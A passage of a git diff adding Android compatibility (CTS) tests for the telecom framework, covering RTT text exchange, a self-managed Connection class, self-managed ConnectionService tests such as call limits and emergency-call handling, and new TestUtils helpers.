+        for (String s : TEST_STRINGS) {
+            try {
+                inCallSide.write(s);
+                waitUntilConditionIsTrueOrTimeout(new Condition() {
+                    String readSoFar = "";
+                    @Override
+                    public Object expected() {
+                        return s;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        try {
+                            String newRead = connectionSide.readImmediately();
+                            if (newRead != null) {
+                                readSoFar += newRead;
+                            }
+                            return readSoFar;
+                        } catch (IOException e) {
+                            fail("IOException while reading from connection side");
+                            return null;
+                        }
+                    }
+                }, RTT_SEND_TIMEOUT_MILLIS, String.format("%s failed to send correctly.", s));
+
+                connectionSide.write(s);
+                waitUntilConditionIsTrueOrTimeout(new Condition() {
+                    String readSoFar = "";
+                    @Override
+                    public Object expected() {
+                        return s;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        try {
+                            String newRead = inCallSide.readImmediately();
+                            if (newRead != null) {
+                                readSoFar += newRead;
+                            }
+                            return readSoFar;
+                        } catch (IOException e) {
+                            fail("IOException while reading from incall side");
+                            return null;
+                        }
+                    }
+                }, RTT_SEND_TIMEOUT_MILLIS, String.format("%s failed to send correctly.", s));
+            } catch (IOException e) {
+                fail(String.format(
+                        "Caught IOException when verifying %s", s));
+            }
+
+        }
+    }
+    private void placeRttCall(boolean incoming) {
+        Bundle extras = new Bundle();
+        extras.putBoolean(TelecomManager.EXTRA_START_CALL_WITH_RTT, true);
+        if (incoming) {
+            addAndVerifyNewIncomingCall(createTestNumber(), extras);
+        } else {
+            Bundle outgoingCallExtras = new Bundle();
+            outgoingCallExtras.putParcelable(TelecomManager.EXTRA_OUTGOING_CALL_EXTRAS, extras);
+            placeAndVerifyCall(outgoingCallExtras);
+        }
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java
new file mode 100644
index 0000000..f9a3d91
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.telecom.CallAudioState;
+import android.telecom.Connection;
+import android.telecom.DisconnectCause;
+import android.telecom.cts.TestUtils.InvokeCounter;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * CTS Test self-managed {@link Connection} implementation.
+ */
+public class SelfManagedConnection extends Connection {
+
+    InvokeCounter mCallAudioRouteInvokeCounter = new InvokeCounter("onCallAudioStateChanged");
+    InvokeCounter mOnShowIncomingUiInvokeCounter = new InvokeCounter(
+            "onShowIncomingUiInvokeCounter");
+    CountDownLatch mOnHoldLatch = new CountDownLatch(1);
+
+    public static abstract class Listener {
+        void onDestroyed(SelfManagedConnection connection) { };
+    }
+
+    private final boolean mIsIncomingCall;
+    private final Listener mListener;
+
+    public SelfManagedConnection(boolean isIncomingCall, Listener listener) {
+        mIsIncomingCall = isIncomingCall;
+        mListener = listener;
+    }
+
+    public boolean isIncomingCall() {
+        return mIsIncomingCall;
+    }
+
+    public void disconnectAndDestroy() {
+        setDisconnected(new DisconnectCause(DisconnectCause.LOCAL));
+        destroy();
+        mListener.onDestroyed(this);
+    }
+
+    @Override
+    public void onCallAudioStateChanged(CallAudioState state) {
+        mCallAudioRouteInvokeCounter.invoke(state);
+    }
+
+    @Override
+    public void onShowIncomingCallUi() {
+        mOnShowIncomingUiInvokeCounter.invoke();
+    }
+
+    @Override
+    public void onHold() {
+        mOnHoldLatch.countDown();
+    }
+
+    public InvokeCounter getCallAudioStateChangedInvokeCounter() {
+        return mCallAudioRouteInvokeCounter;
+    }
+
+    public InvokeCounter getOnShowIncomingUiInvokeCounter() {
+        return mOnShowIncomingUiInvokeCounter;
+    }
+
+    public boolean waitOnHold() {
+        mOnHoldLatch = TestUtils.waitForLock(mOnHoldLatch);
+        return mOnHoldLatch != null;
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
new file mode 100644
index 0000000..1e21fdf
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -0,0 +1,425 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.net.Uri;
+import android.os.Bundle;
+import android.telecom.CallAudioState;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.function.Predicate;
+
+import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
+import static android.telecom.cts.TestUtils.waitOnAllHandlers;
+
+/**
+ * CTS tests for the self-managed {@link android.telecom.ConnectionService} APIs.
+ * For more information about these APIs, see {@link android.telecom}, and
+ * {@link android.telecom.PhoneAccount#CAPABILITY_SELF_MANAGED}.
+ */
+
+public class SelfManagedConnectionServiceTest extends BaseTelecomTestWithMockServices {
+    private Uri TEST_ADDRESS_1 = Uri.fromParts("sip", "call1@test.com", null);
+    private Uri TEST_ADDRESS_2 = Uri.fromParts("sip", "call2@test.com", null);
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getContext();
+        if (mShouldTestTelecom) {
+            // Register and enable the CTS ConnectionService; we want to be able to test a managed
+            // ConnectionService alongside a self-managed ConnectionService.
+            setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+
+            mTelecomManager.registerPhoneAccount(TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_1);
+            mTelecomManager.registerPhoneAccount(TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_2);
+        }
+
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+
+        CtsSelfManagedConnectionService connectionService =
+                CtsSelfManagedConnectionService.getConnectionService();
+        if (connectionService != null) {
+            connectionService.tearDown();
+            mTelecomManager.unregisterPhoneAccount(TestUtils.TEST_SELF_MANAGED_HANDLE_1);
+            mTelecomManager.unregisterPhoneAccount(TestUtils.TEST_SELF_MANAGED_HANDLE_2);
+        }
+    }
+
+    /**
+     * Tests {@link TelecomManager#getSelfManagedPhoneAccounts()} API to ensure it returns a list of
+     * the registered self-managed {@link android.telecom.PhoneAccount}s.
+     */
+    public void testTelecomManagerGetSelfManagedPhoneAccounts() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        List<PhoneAccountHandle> phoneAccountHandles =
+                mTelecomManager.getSelfManagedPhoneAccounts();
+
+        assertTrue(phoneAccountHandles.contains(TestUtils.TEST_SELF_MANAGED_HANDLE_1));
+        assertTrue(phoneAccountHandles.contains(TestUtils.TEST_SELF_MANAGED_HANDLE_2));
+        assertFalse(phoneAccountHandles.contains(TestUtils.TEST_PHONE_ACCOUNT_HANDLE));
+    }
+
+    /**
+     * Tests the ability to successfully register a self-managed
+     * {@link android.telecom.PhoneAccount}.
+     */
+    public void testRegisterSelfManagedConnectionService() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // The phone account is registered in the setup method.
+        assertPhoneAccountRegistered(TestUtils.TEST_SELF_MANAGED_HANDLE_1);
+        assertPhoneAccountEnabled(TestUtils.TEST_SELF_MANAGED_HANDLE_1);
+        PhoneAccount registeredAccount = mTelecomManager.getPhoneAccount(
+                TestUtils.TEST_SELF_MANAGED_HANDLE_1);
+
+        // It should exist and be the same as the previously registered one.
+        assertNotNull(registeredAccount);
+
+        // We cannot just check for equality of the PhoneAccount since the one we registered is not
+        // enabled, and the one we get back after registration is.
+        assertPhoneAccountEquals(TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_1, registeredAccount);
+
+        // An important asumption is that self-managed PhoneAccounts are automatically
+        // enabled by default.
+        assertTrue("Self-managed PhoneAccounts must be enabled by default.",
+                registeredAccount.isEnabled());
+    }
+
+    /**
+     * This test ensures that a {@link android.telecom.PhoneAccount} declared as self-managed cannot
+     * but is also registered as a call provider is not permitted.
+     *
+     * A self-managed {@link android.telecom.PhoneAccount} cannot also be a call provider.
+     */
+    public void testRegisterCallCapableSelfManagedConnectionService() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Attempt to register both a call provider and self-managed account.
+        PhoneAccount toRegister = TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_1.toBuilder()
+                .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED |
+                        PhoneAccount.CAPABILITY_CALL_PROVIDER)
+                .build();
+
+        registerAndExpectFailure(toRegister);
+    }
+
+    /**
+     * This test ensures that a {@link android.telecom.PhoneAccount} declared as self-managed cannot
+     * but is also registered as a sim subscription is not permitted.
+     *
+     * A self-managed {@link android.telecom.PhoneAccount} cannot also be a SIM subscription.
+     */
+    public void testRegisterSimSelfManagedConnectionService() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Attempt to register both a call provider and self-managed account.
+        PhoneAccount toRegister = TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_1.toBuilder()
+                .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED |
+                        PhoneAccount.CAPABILITY_SIM_SUBSCRIPTION)
+                .build();
+
+        registerAndExpectFailure(toRegister);
+    }
+
+    /**
+     * This test ensures that a {@link android.telecom.PhoneAccount} declared as self-managed cannot
+     * but is also registered as a connection manager is not permitted.
+     *
+     * A self-managed {@link android.telecom.PhoneAccount} cannot also be a connection manager.
+     */
+    public void testRegisterConnectionManagerSelfManagedConnectionService() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Attempt to register both a call provider and self-managed account.
+        PhoneAccount toRegister = TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_1.toBuilder()
+                .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED |
+                        PhoneAccount.CAPABILITY_CONNECTION_MANAGER)
+                .build();
+
+        registerAndExpectFailure(toRegister);
+    }
+
+    /**
+     * Attempts to register a {@link android.telecom.PhoneAccount}, expecting a security exception
+     * which indicates that invalid capabilities were specified.
+     *
+     * @param toRegister The PhoneAccount to register.
+     */
+    private void registerAndExpectFailure(PhoneAccount toRegister) {
+        try {
+            mTelecomManager.registerPhoneAccount(toRegister);
+        } catch (SecurityException se) {
+            assertEquals("Self-managed ConnectionServices cannot also be call capable, " +
+                    "connection managers, or SIM accounts.", se.getMessage());
+            return;
+        }
+        fail("Expected SecurityException");
+    }
+
+    /**
+     * Tests ability to add a new self-managed incoming connection.
+     */
+    public void testAddSelfManagedIncomingConnection() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
+                TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
+
+        // Ensure Telecom bound to the self managed CS
+        if (!CtsSelfManagedConnectionService.waitForBinding()) {
+            fail("Could not bind to Self-Managed ConnectionService");
+        }
+
+        SelfManagedConnection connection = TestUtils.waitForAndGetConnection(TEST_ADDRESS_1);
+
+        // Expect callback indicating that UI should be shown.
+        connection.getOnShowIncomingUiInvokeCounter().waitForCount(1);
+        setActiveAndVerify(connection);
+
+        // Expect there to be no managed calls at the moment.
+        assertFalse(mTelecomManager.isInManagedCall());
+
+        setDisconnectedAndVerify(connection);
+    }
+
+    /**
+     * Tests ability to add a new self-managed outgoing connection.
+     */
+    public void testAddSelfManagedOutgoingConnection() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager,
+                TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
+
+        // Ensure Telecom bound to the self managed CS
+        if (!CtsSelfManagedConnectionService.waitForBinding()) {
+            fail("Could not bind to Self-Managed ConnectionService");
+        }
+
+        SelfManagedConnection connection = TestUtils.waitForAndGetConnection(TEST_ADDRESS_1);
+        assert(!connection.isIncomingCall());
+
+        assertEquals(connection.getOnShowIncomingUiInvokeCounter().getInvokeCount(), 0);
+
+        setActiveAndVerify(connection);
+
+        // Expect there to be no managed calls at the moment.
+        assertFalse(mTelecomManager.isInManagedCall());
+
+        setDisconnectedAndVerify(connection);
+    }
+
+    /**
+     * Tests ability to change the audio route via the
+     * {@link android.telecom.Connection#setAudioRoute(int)} API.
+     */
+    public void testAudioRoute() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager,
+                TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
+        SelfManagedConnection connection = TestUtils.waitForAndGetConnection(TEST_ADDRESS_1);
+        setActiveAndVerify(connection);
+
+        TestUtils.InvokeCounter counter = connection.getCallAudioStateChangedInvokeCounter();
+
+        connection.setAudioRoute(CallAudioState.ROUTE_SPEAKER);
+        counter.waitForPredicate(new Predicate<CallAudioState>() {
+                @Override
+                public boolean test(CallAudioState cas) {
+                    return cas.getRoute() == CallAudioState.ROUTE_SPEAKER;
+                }
+            }, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+
+        connection.setAudioRoute(CallAudioState.ROUTE_EARPIECE);
+        counter.waitForPredicate(new Predicate<CallAudioState>() {
+            @Override
+            public boolean test(CallAudioState cas) {
+                return cas.getRoute() == CallAudioState.ROUTE_EARPIECE;
+            }
+        }, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+
+        setDisconnectedAndVerify(connection);
+    }
+
+    /**
+     * Tests that Telecom will disallow an outgoing call when there is already an ongoing call in
+     * another third-party app.
+     * @throws Exception
+     */
+    public void testDisallowOutgoingCall() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Create an ongoing call in the first self-managed PhoneAccount.
+        TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager,
+                TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
+        SelfManagedConnection connection = TestUtils.waitForAndGetConnection(TEST_ADDRESS_1);
+        setActiveAndVerify(connection);
+
+        // Attempt to create a new outgoing call for the other PhoneAccount; it should fail.
+        TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager,
+                TestUtils.TEST_SELF_MANAGED_HANDLE_2, TEST_ADDRESS_2);
+        assertTrue("Expected onCreateOutgoingConnectionFailed callback",
+                CtsSelfManagedConnectionService.getConnectionService().waitForUpdate(
+                    CtsSelfManagedConnectionService.CREATE_OUTGOING_CONNECTION_FAILED_LOCK));
+
+        setDisconnectedAndVerify(connection);
+    }
+
+    /**
+     * Tests that Telecom will disallow an outgoing call when there is already an ongoing call in
+     * another third-party app.
+     * @throws Exception
+     */
+    public void testIncomingWhileOngoing() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Create an ongoing call in the first self-managed PhoneAccount.
+        TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager,
+                TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
+        SelfManagedConnection connection = TestUtils.waitForAndGetConnection(TEST_ADDRESS_1);
+        setActiveAndVerify(connection);
+
+        // Attempt to create a new outgoing call for the other PhoneAccount; it should succeed.
+        TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
+                TestUtils.TEST_SELF_MANAGED_HANDLE_2, TEST_ADDRESS_2);
+        SelfManagedConnection connection2 = TestUtils.waitForAndGetConnection(TEST_ADDRESS_2);
+
+        connection2.disconnectAndDestroy();
+        setDisconnectedAndVerify(connection);
+    }
+
+    /**
+     * Tests that Telecom enforces a maximum number of calls for a self-managed ConnectionService.
+     *
+     * @throws Exception
+     */
+    public void testCallLimit() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        List<SelfManagedConnection> connections = new ArrayList<>();
+        // Create 10 calls; they should succeed.
+        for (int ix = 0; ix < 10; ix++) {
+            Uri address = Uri.fromParts("sip", "test" + ix + "@test.com", null);
+            // Create an ongoing call in the first self-managed PhoneAccount.
+            TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager,
+                    TestUtils.TEST_SELF_MANAGED_HANDLE_1, address);
+            SelfManagedConnection connection = TestUtils.waitForAndGetConnection(address);
+            setActiveAndVerify(connection);
+            connections.add(connection);
+        }
+
+        // Try adding an 11th.  It should fail to be created.
+        TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
+                TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_2);
+        assertTrue("Expected onCreateIncomingConnectionFailed callback",
+                CtsSelfManagedConnectionService.getConnectionService().waitForUpdate(
+                        CtsSelfManagedConnectionService.CREATE_INCOMING_CONNECTION_FAILED_LOCK));
+
+        connections.forEach((selfManagedConnection) ->
+                selfManagedConnection.disconnectAndDestroy());
+
+        waitOnAllHandlers(getInstrumentation());
+    }
+
+    public void testEmergencyCallOngoing() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Set 555-1212 as a test emergency number.
+        TestUtils.executeShellCommand(getInstrumentation(),
+                "setprop ril.ecclist 5551212");
+
+        Bundle extras = new Bundle();
+        extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE,
+                TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
+        mTelecomManager.placeCall(Uri.fromParts(PhoneAccount.SCHEME_TEL, "5551212", null), extras);
+        assertIsInCall(true);
+        assertIsInManagedCall(true);
+        try {
+            TestUtils.waitOnAllHandlers(getInstrumentation());
+        } catch (Exception e) {
+            fail("Failed to wait on handlers " + e);
+        }
+
+        // Try adding a self managed call.  It should fail to be created.
+        TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
+                TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
+        assertTrue("Expected onCreateIncomingConnectionFailed callback",
+                CtsSelfManagedConnectionService.getConnectionService().waitForUpdate(
+                        CtsSelfManagedConnectionService.CREATE_INCOMING_CONNECTION_FAILED_LOCK));
+    }
+
+    /**
+     * Sets a connection active, and verifies TelecomManager thinks we're in call but not in a
+     * managed call.
+     * @param connection The connection.
+     */
+    private void setActiveAndVerify(SelfManagedConnection connection) throws Exception {
+        // Set the connection active.
+        connection.setActive();
+
+        // Check with Telecom if we're in a call.
+        assertIsInCall(true);
+        assertIsInManagedCall(false);
+    }
+
+    /**
+     * Sets a connection to be disconnected, and then waits until the TelecomManager reports it is
+     * no longer in a call.
+     *
+     * @param connection The connection to disconnect/destroy.
+     */
+    private void setDisconnectedAndVerify(SelfManagedConnection connection) {
+        // Now, disconnect call and clean it up.
+        connection.disconnectAndDestroy();
+
+        assertIsInCall(false);
+        assertIsInManagedCall(false);
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index f259985..06926a1 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -19,16 +19,31 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.graphics.Color;
+import android.net.Uri;
 import android.os.Build;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
+import android.os.SystemClock;
+import android.telecom.PhoneAccount;
 import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+import junit.framework.TestCase;
 
 import java.io.BufferedReader;
 import java.io.FileInputStream;
 import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.Optional;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Predicate;
 
 public class TestUtils {
     static final String TAG = "TelecomCTSTests";
@@ -41,12 +56,62 @@
     // tests in the Telecom2 test package.
     public static String PACKAGE = "android.telecom.cts";
     public static final String COMPONENT = "android.telecom.cts.CtsConnectionService";
+    public static final String SELF_MANAGED_COMPONENT =
+            "android.telecom.cts.CtsSelfManagedConnectionService";
     public static final String REMOTE_COMPONENT = "android.telecom.cts.CtsRemoteConnectionService";
     public static final String ACCOUNT_ID = "xtstest_CALL_PROVIDER_ID";
+    public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE =
+            new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID);
     public static final String REMOTE_ACCOUNT_ID = "xtstest_REMOTE_CALL_PROVIDER_ID";
+    public static final String SELF_MANAGED_ACCOUNT_ID_1 = "ctstest_SELF_MANAGED_ID_1";
+    public static final PhoneAccountHandle TEST_SELF_MANAGED_HANDLE_1 =
+            new PhoneAccountHandle(new ComponentName(PACKAGE, SELF_MANAGED_COMPONENT),
+                    SELF_MANAGED_ACCOUNT_ID_1);
+    public static final String SELF_MANAGED_ACCOUNT_ID_2 = "ctstest_SELF_MANAGED_ID_2";
+    public static final PhoneAccountHandle TEST_SELF_MANAGED_HANDLE_2 =
+            new PhoneAccountHandle(new ComponentName(PACKAGE, SELF_MANAGED_COMPONENT),
+                    SELF_MANAGED_ACCOUNT_ID_2);
 
     public static final String ACCOUNT_LABEL = "CTSConnectionService";
+    public static final PhoneAccount TEST_PHONE_ACCOUNT = PhoneAccount.builder(
+            TEST_PHONE_ACCOUNT_HANDLE, ACCOUNT_LABEL)
+            .setAddress(Uri.parse("tel:555-TEST"))
+            .setSubscriptionAddress(Uri.parse("tel:555-TEST"))
+            .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER |
+                    PhoneAccount.CAPABILITY_VIDEO_CALLING |
+                    PhoneAccount.CAPABILITY_RTT |
+                    PhoneAccount.CAPABILITY_CONNECTION_MANAGER)
+            .setHighlightColor(Color.RED)
+            .setShortDescription(ACCOUNT_LABEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
+            .build();
     public static final String REMOTE_ACCOUNT_LABEL = "CTSRemoteConnectionService";
+    public static final String SELF_MANAGED_ACCOUNT_LABEL = "android.telecom.cts";
+    public static final PhoneAccount TEST_SELF_MANAGED_PHONE_ACCOUNT_2 = PhoneAccount.builder(
+            TEST_SELF_MANAGED_HANDLE_2, SELF_MANAGED_ACCOUNT_LABEL)
+            .setAddress(Uri.parse("sip:test@test.com"))
+            .setSubscriptionAddress(Uri.parse("sip:test@test.com"))
+            .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED |
+                    PhoneAccount.CAPABILITY_SUPPORTS_VIDEO_CALLING |
+                    PhoneAccount.CAPABILITY_VIDEO_CALLING)
+            .setHighlightColor(Color.BLUE)
+            .setShortDescription(SELF_MANAGED_ACCOUNT_LABEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+            .build();
+    public static final PhoneAccount TEST_SELF_MANAGED_PHONE_ACCOUNT_1 = PhoneAccount.builder(
+            TEST_SELF_MANAGED_HANDLE_1, SELF_MANAGED_ACCOUNT_LABEL)
+            .setAddress(Uri.parse("sip:test@test.com"))
+            .setSubscriptionAddress(Uri.parse("sip:test@test.com"))
+            .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED |
+                    PhoneAccount.CAPABILITY_SUPPORTS_VIDEO_CALLING |
+                    PhoneAccount.CAPABILITY_VIDEO_CALLING)
+            .setHighlightColor(Color.BLUE)
+            .setShortDescription(SELF_MANAGED_ACCOUNT_LABEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+            .build();
 
     private static final String COMMAND_SET_DEFAULT_DIALER = "telecom set-default-dialer ";
 
@@ -58,6 +123,8 @@
 
     private static final String COMMAND_REGISTER_SIM = "telecom register-sim-phone-account ";
 
+    private static final String COMMAND_WAIT_ON_HANDLERS = "telecom wait-on-handlers";
+
     public static final String MERGE_CALLER_NAME = "calls-merged";
     public static final String SWAP_CALLER_NAME = "calls-swapped";
     private static final String PRIMARY_USER_SN = "0";
@@ -100,6 +167,23 @@
                 + handle.getId() + " " + PRIMARY_USER_SN + " " + label + " " + address);
     }
 
+    public static void waitOnAllHandlers(Instrumentation instrumentation) throws Exception {
+        executeShellCommand(instrumentation, COMMAND_WAIT_ON_HANDLERS);
+    }
+
+    public static void waitOnLocalMainLooper(long timeoutMs) {
+        Handler mainHandler = new Handler(Looper.getMainLooper());
+        final CountDownLatch lock = new CountDownLatch(1);
+        mainHandler.post(lock::countDown);
+        while (lock.getCount() > 0) {
+            try {
+                lock.await(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                // do nothing
+            }
+        }
+    }
+
     /**
      * Executes the given shell command and returns the output in a string. Note that even
      * if we don't care about the output, we have to read the stream completely to make the
@@ -136,4 +220,203 @@
             }
         }
     }
+
+    public static CountDownLatch waitForLock(CountDownLatch lock) {
+        boolean success;
+        try {
+            if (lock == null) {
+                return null;
+            }
+            success = lock.await(5000, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException ie) {
+            return null;
+        }
+
+        if (success) {
+            return new CountDownLatch(1);
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Adds a new incoming call.
+     *
+     * @param instrumentation the Instrumentation, used for shell command execution.
+     * @param telecomManager the TelecomManager.
+     * @param handle the PhoneAccountHandle associated with the call.
+     * @param address the incoming address.
+     * @return the new self-managed incoming call.
+     */
+    public static void addIncomingCall(Instrumentation instrumentation,
+                                       TelecomManager telecomManager, PhoneAccountHandle handle,
+                                       Uri address) {
+
+        // Inform telecom of new incoming self-managed connection.
+        Bundle extras = new Bundle();
+        extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, address);
+        telecomManager.addNewIncomingCall(handle, extras);
+
+        // Wait for Telecom to finish creating the new connection.
+        try {
+            waitOnAllHandlers(instrumentation);
+        } catch (Exception e) {
+            TestCase.fail("Failed to wait on handlers");
+        }
+    }
+
+    /**
+     * Places a new outgoing call.
+     *
+     * @param telecomManager the TelecomManager.
+     * @param handle the PhoneAccountHandle associated with the call.
+     * @param address outgoing call address.
+     * @return the new self-managed outgoing call.
+     */
+    public static void placeOutgoingCall(Instrumentation instrumentation,
+                                          TelecomManager telecomManager, PhoneAccountHandle handle,
+                                          Uri address) {
+        // Inform telecom of new incoming self-managed connection.
+        Bundle extras = new Bundle();
+        extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, handle);
+        telecomManager.placeCall(address, extras);
+
+        // Wait for Telecom to finish creating the new connection.
+        try {
+            waitOnAllHandlers(instrumentation);
+        } catch (Exception e) {
+            TestCase.fail("Failed to wait on handlers");
+        }
+    }
+
+    /**
+     * Waits for a new SelfManagedConnection with the given address to be added.
+     * @param address The expected address.
+     * @return The SelfManagedConnection found.
+     */
+    public static SelfManagedConnection waitForAndGetConnection(Uri address) {
+        // Wait for creation of the new connection.
+        CtsSelfManagedConnectionService connectionService =
+                CtsSelfManagedConnectionService.getConnectionService();
+        TestCase.assertTrue(connectionService.waitForUpdate(
+                CtsSelfManagedConnectionService.CONNECTION_CREATED_LOCK));
+
+        Optional<SelfManagedConnection> connectionOptional = connectionService.getConnections()
+                .stream()
+                .filter(connection -> address.equals(connection.getAddress()))
+                .findFirst();
+        assert(connectionOptional.isPresent());
+        return connectionOptional.get();
+    }
+
+    /**
+     * Utility class used to track the number of times a callback was invoked, and the arguments it
+     * was invoked with. This class is prefixed Invoke rather than the more typical Call for
+     * disambiguation purposes.
+     */
+    public static final class InvokeCounter {
+        private final String mName;
+        private final Object mLock = new Object();
+        private final ArrayList<Object[]> mInvokeArgs = new ArrayList<>();
+
+        private int mInvokeCount;
+
+        public InvokeCounter(String callbackName) {
+            mName = callbackName;
+        }
+
+        public void invoke(Object... args) {
+            synchronized (mLock) {
+                mInvokeCount++;
+                mInvokeArgs.add(args);
+                mLock.notifyAll();
+            }
+        }
+
+        public Object[] getArgs(int index) {
+            synchronized (mLock) {
+                return mInvokeArgs.get(index);
+            }
+        }
+
+        public int getInvokeCount() {
+            synchronized (mLock) {
+                return mInvokeCount;
+            }
+        }
+
+        public void waitForCount(int count) {
+            waitForCount(count, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        }
+
+        public void waitForCount(int count, long timeoutMillis) {
+            waitForCount(count, timeoutMillis, null);
+        }
+
+        public void waitForCount(long timeoutMillis) {
+             synchronized (mLock) {
+             try {
+                  mLock.wait(timeoutMillis);
+             }catch (InterruptedException ex) {
+                  ex.printStackTrace();
+             }
+           }
+        }
+
+        public void waitForCount(int count, long timeoutMillis, String message) {
+            synchronized (mLock) {
+                final long startTimeMillis = SystemClock.uptimeMillis();
+                while (mInvokeCount < count) {
